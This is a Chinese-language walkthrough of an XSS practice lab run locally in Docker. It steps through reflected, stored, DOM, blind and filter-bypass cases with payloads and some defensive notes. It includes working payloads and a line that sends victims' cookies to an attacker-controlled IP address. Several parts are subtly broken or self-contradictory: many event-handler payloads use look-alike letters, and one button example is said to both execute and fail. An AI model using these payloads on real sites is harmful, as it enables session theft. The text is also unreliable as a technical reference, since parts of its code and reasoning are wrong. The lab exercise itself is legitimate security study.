使用ubantu-linux虚拟机通过docker镜像本地搭建
一,反射型xss(get)
1,观察靶场环境,功能是提交你最喜欢的NBA球星
2,可以通过burp suite抓包分析一下
通过GET请求提交输入的姓名,这是及其危险的
3,尝试使用简单的payload判断有无XSS漏洞
发现对提交内容的字符串长度做出了限制,限制措施应该发生在前端
4,修改限制的maxlength之后再进行注入,payload:<script>alert('XSS')</script>
成功发生弹窗,可以再窃取用户的cookie,payload:<script>alert(document.write)</script>
发现无法窃取到cookie
二,反射型xss(post)
1,网站的功能是通过提交表单进行登录
burpsuite抓一个包查看一下请求
2,查看网页页面源代码,是否对用户提交的字符串进行了限制
没有出现maxlength,说明没有长度的限制,接下来就要判断XSS存在的注入点
3,username:<script>alert('XSS')</script>,password:1进行登录
4,结果出现error,那就反过来进行尝试username:1,password:<script>alert('XSS')</script>
还是发生了报错,查看提示
5,使用admin/123456进行登录,在里面的界面就能实现XSS攻击,payload:<script>alert('XSS')</script>
6,再通过XSS攻击语句窃取cookie,payload:<script>alert(document.cookie)</script>
三,存储型xss
1,观察页面提供一个留言板功能,这意味着用户输入的语句会被存储进数据库当中,如果开放人员没有对这个留言板的输入做严格的限制,一般是存在存储型XSS漏洞的
2,直接使用最简单的弹窗语句测试有无XSS漏洞,payload:<script>alert('XSS')</script>
3,果然能够弹窗,这验证了漏洞存在,直接打入payload去窃取用户cookie:<script>alert(document.cookie)</script>
因为是存储型的XSS路段,这个实现攻击的javascript语句是实实在在存在于服务器数据库当中的,只要有用户访问这个页面时,这个语句就会像定时炸弹一样触发。可以对payload进行改造,使得攻击者能够把登录用户的cookie发送到攻击者主机上
四,DOM型xss
什么是 HTML DOM?
HTML DOM 是 HTML 的标准对象模型和编程接口。它定义了:
- 作为对象的 HTML 元素
- 所有 HTML 元素的属性
- 访问所有 HTML 元素的方法
- 所有 HTML 元素的事件
换言之:HTML DOM 是关于如何获取、更改、添加或删除 HTML 元素的标准。
1,dom型XSS一般伴随着javascript编写在页面源代码的一些交互界面,比如"click me"
查看页面源代码也能够验证这一点
2,那么留言DOM型XSS漏洞的方法就是利用javascript库中丰富的功能标签,payload:
'><img src=x οnerrοr='alert('XSS')
Self DOM XSS(自我DOM型XSS)是一种特殊类型的DOM型XSS攻击。在这种攻击中,恶意代码并不来自外部攻击者,而是来自用户自己或网站的同一页面。攻击者利用客户端的JavaScript来注入并执行恶意代码,通常是在页面动态操作DOM时发生的。
Self DOM XSS的概念
在Self DOM XSS攻击中,恶意脚本代码不是通过URL参数、表单提交或其他外部源注入的,而是通过对当前页面的JavaScript操作、用户输入或浏览器自带的行为来触发。最常见的情况是,当用户将恶意代码作为输入内容(如通过复制黏贴)插入到页面时,JavaScript代码未经适当过滤直接在页面上执行,从而导致攻击。
Self DOM XSS的示例
假设页面使用innerHTML或类似方法将用户输入直接插入到DOM中。如果攻击者通过复制并粘贴恶意脚本到输入框,代码将被插入并执行:
<input type="text" id="user-input">
<button οnclick="document.getElementById('user-input').innerHTML = document.getElementById('user-input').value">Submit</button>
如果用户(攻击者)粘贴以下恶意代码:
<script>alert('Self DOM XSS')</script>
此时,攻击者输入的脚本被插入到页面中并执行。尽管代码是由同一页面的用户生成的,但其效果与常规的DOM型XSS攻击没有区别。
为什么要结合复制黏贴劫持?
复制黏贴劫持(Clipboard Hijacking)是一种攻击手段,攻击者通过操控用户的剪贴板内容来进行XSS攻击。在Self DOM XSS场景中,攻击者可以通过诱使用户复制并粘贴恶意代码来实现攻击。例如,攻击者可以在钓鱼网站或邮件中嵌入一个包含恶意脚本的文本。当用户不小心将这些内容复制到剪贴板,并粘贴到目标网站的输入框或文本框时,恶意脚本就会被执行,造成XSS攻击。
这种攻击方式的关键在于:
- 用户复制粘贴恶意内容:攻击者通过社交工程手段诱使用户复制包含恶意JavaScript的文本或HTML内容。
- 页面直接处理不安全的输入:页面将用户输入的内容直接插入到DOM中(如通过innerHTML或document.write),未对输入进行适当的过滤和转义。
这种结合复制黏贴劫持的Self DOM XSS攻击,往往难以被防范,因为攻击者并没有直接操控用户的输入,而是依赖用户的无意行为(如复制粘贴)。此外,如果页面没有进行适当的安全检查或输入验证,攻击者就能轻松发起攻击。
防护措施
为了防止Self DOM XSS和复制黏贴劫持攻击,可以采取以下措施:
- 避免使用innerHTML:使用更安全的方式来处理DOM,如textContent,它不会解析HTML标签。
- 对所有用户输入进行过滤和转义:确保所有的用户输入都经过严格的转义,防止恶意代码注入。
- CSP(内容安全策略):通过实施CSP,限制脚本的来源,防止不可信的脚本执行。
- 避免执行未经验证的脚本:在处理用户输入时,不要直接执行或插入脚本,尤其是在表单、输入框等地方。
五,DOM型xss-x
1,功能和上一模块一样,只不过这次的输入语句直接拼接到了url栏里面
2,尝试输入payload,<script>alert('XSS')</script>
发现没有反应,大概是被注释掉了
3,真正的攻击语句,payload:'><img src=x οnerrοr='alert('XSS')
基于URL的DOM型XSS是一种DOM型XSS攻击的变种,其中恶意的JavaScript代码是通过URL的查询参数或片段标识符(URL hash)注入的。攻击者利用浏览器解析并动态操作页面的JavaScript,使得注入的恶意脚本能够在客户端执行。
攻击原理
在这种类型的攻击中,恶意代码通常存在于URL中的查询参数(?后面的部分)或哈希(#后面的部分)。这些数据会被浏览器的JavaScript代码读取并插入到页面的DOM中。如果页面的JavaScript代码没有正确处理用户输入,恶意脚本可能会在用户的浏览器上执行。
典型的攻击流程:
- 攻击者将恶意JavaScript代码嵌入到URL的查询字符串或哈希部分。
- 目标页面的JavaScript从URL中获取数据并将其插入DOM中。
- 如果数据没有经过足够的过滤或转义,恶意脚本就会被执行。
攻击示例
假设一个网页通过window.location.hash或window.location.search获取用户输入的查询参数并动态更新页面内容。如果没有足够的验证,攻击者可以注入恶意JavaScript代码。
1. 通过URL查询参数注入
如果页面的JavaScript代码通过document.getElementById('content').innerHTML = window.location.search;来将URL查
询字符串插入到DOM中,那么攻击者可以利用以下URL进行攻击:
http://example.com/page?name=<script>alert('XSS')</script>
如果页面没有对name参数进行任何过滤,<script>alert('XSS')</script>会被插入到DOM并执行。
2. 通过URL哈希(#)注入
攻击者还可以通过URL的哈希部分进行注入:
http://example.com/page#<script>alert('XSS')</script>
如果页面的JavaScript代码依赖于哈希部分(如通过window.location.hash获取数据),并直接将其插入DOM,则恶意脚本会被执行。
3. 通过URL路径部分注入
虽然路径部分不像查询参数和哈希那样直接被插入到DOM中,但如果页面没有适当地处理URL路径,也可能遭受XSS攻击。例如:
http://example.com/page/<script>alert('XSS')</script>
如果页面的JavaScript代码将路径的一部分作为内容插入到DOM中并没有正确转义,也可能引发XSS漏洞。
六,xss盲打
1,观察网站提供的功能推测应该是存储型XSS漏洞
2,存在着两个提交表达的地方,这就需要进行测试判断注入点。查看一下提示
3,找到登录页面
4,admin/123456登录进去就是用户反馈的意见列表
5,那么就要判断注入点在哪里
在评论输入框填写payload:<script>prompt(document.cookie)</script>
在输入名字的地方填写payload:<script>console.log(document.cookie)</script>
一进去就发生了弹窗,说明弹框的这个说明输入评论的地方是注入点。开发者工具的控制台(Console)中有显示cookie说明输入名字的地方也是注入点
XSS盲打(Blind XSS)是一种特殊类型的XSS攻击,其中攻击者并不直接观察到恶意代码执行的结果,而是通过某些手段间接地触发和利用XSS漏洞。盲打攻击通常发生在目标应用程序没有即时反馈给攻击者的情况下,或者恶
意代码的执行并不会直接展示在攻击者的界面上。攻击者通过推测应用行为和结果,逐步完善攻击。
盲打XSS的工作原理
盲打XSS攻击的关键特点是攻击者并不直接看到攻击的结果,而是通过间接方式(例如发送恶意负载给受害者或
系统)来推测XSS漏洞是否存在。常见的盲打XSS攻击包括:
- 通过POST请求或后台接口注入XSS:攻击者可能通过表单提交、API请求、后台管理面板等接口注入恶意代码。虽然攻击者本身看不到即时的反馈,但这些输入可能会反映到其他地方(如管理员面板、日志文件、用户反馈等)。
- 利用目标系统的跨站点脚本执行:在某些情况下,攻击者会将恶意脚本注入到某个系统(如管理员界面、邮件通知等),该系统可以从被攻击者那里触发恶意脚本的执行。由于攻击者没有直接的可视化反馈,因此需要猜测结果。
盲打XSS的技巧
1. 通过后台管理界面或日志文件
许多应用程序在后台管理系统或日志文件中记录用户输入。攻击者通过注入恶意JavaScript代码,可能使管理员查看日志时触发XSS攻击。攻击者可以利用以下方法:
- 向系统的表单、评论、消息等输入框中提交含有恶意JavaScript代码的数据。
- 在没有立即反馈的情况下,推测该输入是否被记录。
- 如果有管理员查看日志或管理后台,恶意代码可能被执行。
例如,如果管理员查看评论或提交的记录时,注入的脚本可能会执行:
<script>alert('XSS')</script>
2. 通过攻击目标用户的邮箱
如果应用程序中存在XSS漏洞,攻击者可以将恶意脚本嵌入到系统发送的电子邮件中。攻击者不能立即看到该邮件的效果,但一旦用户打开邮件并点击邮件中的链接或加载的动态内容,恶意脚本就会被执行。这种方式常常用
于绕过防护措施并触发XSS。
3. 利用第三方服务进行盲打
在某些情况下,攻击者可以通过利用第三方服务(如社交平台、外部API等)进行盲打XSS。攻击者将恶意脚本发送到外部平台,依赖平台后续操作(如日志查看、管理员互动等)来间接触发脚本。
4. 基于时间的盲打(Time-based Blind XSS)
在某些情况下,攻击者并不能看到脚本执行的直接结果,但可以利用时间差异来推测攻击是否成功。这种方式可以通过创建包含alert的恶意代码,并依赖时间间隔来推测。例如,通过提交含有恶意脚本的表单,等待系统响应时间的变化:
<script>
setTimeout(function() {
alert('XSS');
}, 5000); // 等待5秒后触发
</script>
通过观察时间延迟,攻击者可以推测是否存在XSS漏洞。
5. 利用DOM操作进行盲打
攻击者可以通过注入动态修改DOM的脚本来实现盲打XSS。例如,在一个输入框或搜索框中注入恶意脚本,通过后续的DOM变化(如搜索结果、用户输入等)来执行攻击代码。攻击者不能立即看到结果,但可以通过推测目标页面的行为来间接判断XSS是否成功。
6. 利用WebSockets或Ajax请求
攻击者可以注入恶意脚本,通过WebSocket或AJAX请求发送数据到目标服务器。如果应用程序未对数据进行适当验证或清理,攻击者的恶意代码就会被服务器处理并反射到其他用户的浏览器中。这种方式不会立即显示攻击结果,但可以通过其他手段(如观察日志、推测行为)来确认是否成功。
七,xss之过滤
1,观察网站,这里提供了一个submit功能
2,输入<script>alert(‘XSS')</script>,这里是对输入的恶意语句进行了过滤
3,尝试判断过滤机制:<script>>alert('XSS')</script>>
推测把>前面的<script全部过滤了,那就不要用<script>标签了,用<img>标签试试,输入payload:
<img src="#"οnerrοr=alert(document.cookie)>
4,查看源代码分析一下过滤机制,然后构造payload
代码解析:
- 过滤目标:试图匹配任何形式的<script>标签变体
- 正则逻辑:通过(.*)通配符:
- 允许任意字符出现在字母之间(包括空字符)
- 匹配类似<sCRipt>、<s\tcript>等变形写法
- 过滤方式:将匹配内容替换为空字符串(彻底删除)
要绕过这段代码中的XSS过滤机制,可以利用正则表达式过滤的不足,使用其他HTML标签或事件处理属性来执行JavaScript。以下是具体的步骤和Payload:
Payload构造思路:
- 避免使用<script>标签: 正则表达式主要针对<script>标签进行过滤,但未处理其他标签。
- 利用事件处理属性: 使用如onerror、onload等事件属性触发JavaScript执行。
- 闭合单引号并插入新标签: 输入中包含单引号闭合原属性,插入新标签以执行脚本。
有效Payload示例:
- 使用<img>标签的onerror事件:
<img src=x οnerrοr=alert(1)>
当图片加载失败时,onerror事件触发执行JavaScript。 - 使用<svg>标签的onload事件:
<svg οnlοad=alert(1)>
SVG标签加载时触发onload事件执行脚本。 - 闭合单引号并插入标签:
'><img src=x οnerrοr=alert(1)>
闭合原单引号后插入新标签,确保HTML结构正确解析。
绕过分析:
- 正则表达式preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message'])旨在过滤<script>标签的变种,但未考虑大小写和其他标签。
- 使用非<script>标签(如<img>、<svg>)不受正则过滤影响,能够直接注入到HTML中执行。
验证Payload:
提交以下URL参数触发XSS:
http://example.com/xss_01.php?message=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E&submit=submit
或直接在输入框中输入Payload:
<img src=x οnerrοr=alert(1)>
页面将解析该标签并执行JavaScript,弹出警告框,证明XSS漏洞被成功利用。
1. 大写字母标签变形(利用正则大小写敏感缺陷)
<SCrIpt>alert(1)</ScRipt>
绕过原理:正则未使用i修饰符,无法匹配大小写变形
2. 伪协议高级利用
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=">
八,xss之htmlspecialchars
PHP中htmlspecialchars()函数
核心功能
将特殊字符转换为HTML实体,防止XSS攻击
$safe_output = htmlspecialchars( |
参数详解
参数 |
推荐值 |
安全作用 |
flags |
ENT_QUOTES |
转义单双引号 |
ENT_SUBSTITUTE |
替换无效编码字符 |
|
ENT_HTML5 |
遵循HTML5编码标准 |
|
encoding |
UTF-8 |
必须与页面编码一致 |
转义对应表
原始字符 |
转义结果 |
防御场景 |
< |
< |
阻断HTML标签创建 |
> |
> |
防止标签闭合 |
" |
" |
防御属性值逃逸(双引号) |
' |
' |
防御属性值逃逸(单引号) |
& |
& |
防止实体编码绕过 |
高危使用场景
1. 未正确设置引号转义
// 危险写法:不转义单引号
echo '<div title='.htmlspecialchars($input).'>';
攻击Payload:
' οnclick='alert(1)
2. JavaScript上下文误用
<script>
// 错误:在JS变量中使用HTML转义
var data = "<?= htmlspecialchars($_GET['data']) ?>";
</script>
Payload:
";alert(1);//
防御方案:
// 正确:使用JSON编码
var data = <?= json_encode($data, JSON_HEX_TAG|JSON_HEX_APOS) ?>;
3. URL属性未校验协议
<a href="<?= htmlspecialchars($url) ?>">链接</a>
Payload:
javascript:alert(document.cookie)
防御方案:
// 增加协议白名单校验
if(!preg_match('/^(https?:)/i', $url)){
$url = '#';
}
1,输入一个 <script>alert(1)</script> 进行尝试,果然攻击不能成功
2,分析源代码,寻找绕过方法
防御机制分析
$message = htmlspecialchars($_GET['message']);
$html2 .= "<a href='{$message}'>{$message}</a>";
防御缺陷:
- 未启用ENT_QUOTES:默认只转义双引号("),不处理单引号('),但href属性使用单引号包裹
- 未过滤协议类型:允许javascript:伪协议直接输出到href属性
- 未验证URL格式:缺少协议白名单校验
绕过Payload集合
1. 属性逃逸攻击
Payload:
' οnclick='alert(1)//
生成结果:
<a href='' οnclick='alert(1)//'>' οnclick='alert(1)//</a>
触发方式:点击链接时执行
2. <button οnclick="someFunction()#' οnclick='alert(1)'">Click me</button>
浏览器会解析这个 <button> 元素,并且由于 #' 打破了现有的 onclick 属性,它会将 οnclick='alert(1)' 视为一个独立的 JavaScript 事件处理程序。这样,当用户点击按钮时,alert(1) 会被执行,导致一个弹出框显示。
onclick属性值被双引号包裹,内容为 someFunction()#' οnclick='alert(1)'
- 攻击者意图:
- 试图通过注入单引号 ' 闭合原有的双引号 ",插入新的 onclick 事件。
- HTML解析规则:
- 属性值由包裹它的引号类型决定闭合。双引号包裹的属性中,单引号视为普通字符,不会闭合属性。
- 实际解析结果:
- 浏览器会将整个 someFunction()#' οnclick='alert(1)' 视为 onclick 属性的值,不会执行 alert(1)。
- 生成的JavaScript代码为:
someFunction()#' οnclick='alert(1)
这会导致语法错误,# 后的内容被当作注释,οnclick='alert(1)' 成为无效代码。
- 验证测试:
- 创建测试页面并点击按钮,发现未触发 alert(1),控制台报语法错误。
- 漏洞有效性:
- 攻击失败:因引号类型不匹配,注入的单引号无法闭合双引号包裹的属性。
- 错误触发:错误语法导致原功能失效,但未执行恶意代码。
九,xss之href输出
href 是 HTML 中用于指定超链接的属性,通常用于 <a> 标签中。它用于指向一个目标 URL(Uniform Resource Locator),可以是网页、图片、下载文件等。当用户点击链接时,浏览器会跳转到 href 中指定的目标地址。
示例 1: 基本的超链接
<a href="https://www.example.com">Click here to visit Example.com</a>
在这个例子中,当用户点击 Click here to visit Example.com 文本时,浏览器将跳转到 Example Domain。
示例 2: 指向页面内的锚点
<a href="#section1">Go to Section 1</a>
...
<div id="section1">This is Section 1</div>
这里,href="#section1" 会将页面跳转到 ID 为 section1 的部分(即 <div id="section1">)。
示例 3: 使用 JavaScript 进行跳转
<a href="javascript:void(0);" οnclick="alert('You clicked the link!')">Click me</a>
这种形式的 href 值通常用于防止页面跳转或执行特定的 JavaScript 代码。javascript:void(0); 使得点击链接时不会跳转页面,而是执行 onclick 事件中的 JavaScript。
示例 4: 用于邮件链接
<a href="mailto:someone@example.com">Send Email</a>
这个 href 值使用 mailto: 协议,点击后会弹出邮件客户端,自动填充收件人邮箱。
示例 5: 用于文件下载
<a href="files/sample.pdf" download>Download PDF</a>
使用 download 属性,浏览器将尝试下载 sample.pdf 文件,而不是打开它。
输出到页面
如果你希望通过 PHP 动态输出一个 href 链接,可以用 echo 或 print:
<?php
$link = "Example Domain";
echo "<a href='" . $link . "'>Visit Example.com</a>";
?>
这段代码会在浏览器中输出一个指向 https://www.example.com 的链接。
1,查看页面源代码,分析防御方式并且构造payload
防御机制分析
$message = htmlspecialchars($_GET['message'], ENT_QUOTES); // 转义单双引号
$html = "<a href='{$message}'>链接</a>"; // 输出到href属性
防御特性:
- ENT_QUOTES参数:转义单引号('→')和双引号("→")
- 字符编码:默认UTF-8编码,防止多字节绕过
防御缺陷:
- 未校验协议类型:允许javascript:伪协议直接输出
- 无协议白名单:未限制http/https/ftp等安全协议
- 未过滤HTML5新协议:如data:协议可绕过
绕过Payload集合
1. 基础JavaScript伪协议
javascript:alert(document.domain)
生成结果:
<a href='javascript:alert(document.domain)'>链接</a>
触发方式:点击链接直接执行
2. 分号截断攻击
javascript:location.href='http://192.168.23.182:8000?cookie='+document.cookie;//
数据窃取:跳转到攻击者站点携带用户Cookie
十,xss之js输出
代码核心部分分析
漏洞代码段:
$jsvar = $_GET['message'];
// ...
<script>
$ms = '<?php echo $jsvar; ?>';
</script>
防御方式:
- 无有效防御:直接输出未转义的用户输入到 JavaScript 字符串中
- 错误尝试:注释显示开发者曾考虑使用 htmlspecialchars(ENT_QUOTES),但担心破坏前端功能未实施
漏洞利用分析
攻击面特征:
- 输出位置:用户输入直接嵌入 JavaScript 字符串(单引号包裹)
- 可注入点:可闭合字符串执行任意 JS 代码
- 未过滤字符:单引号、反斜杠、分号等关键符号
有效 Payload 集合
1. 基础闭合攻击
';alert(1);//
生成代码:
$ms = '';alert(1);//';
触发效果:直接弹出警告框
2. DOM 劫持攻击
';document.body.innerHTML='<h1>Hacked</h1>';//
页面破坏:完全替换页面内容
漏洞验证步骤
- 输入基础 Payload:
';alert(document.domain);// - 观察浏览器行为:
- 检查是否弹出包含当前域名的警告框
- 查看控制台是否报语法错误
- 网络监控:
- 使用开发者工具查看是否发送了非法请求
- 监控 evil.com 服务器是否收到数据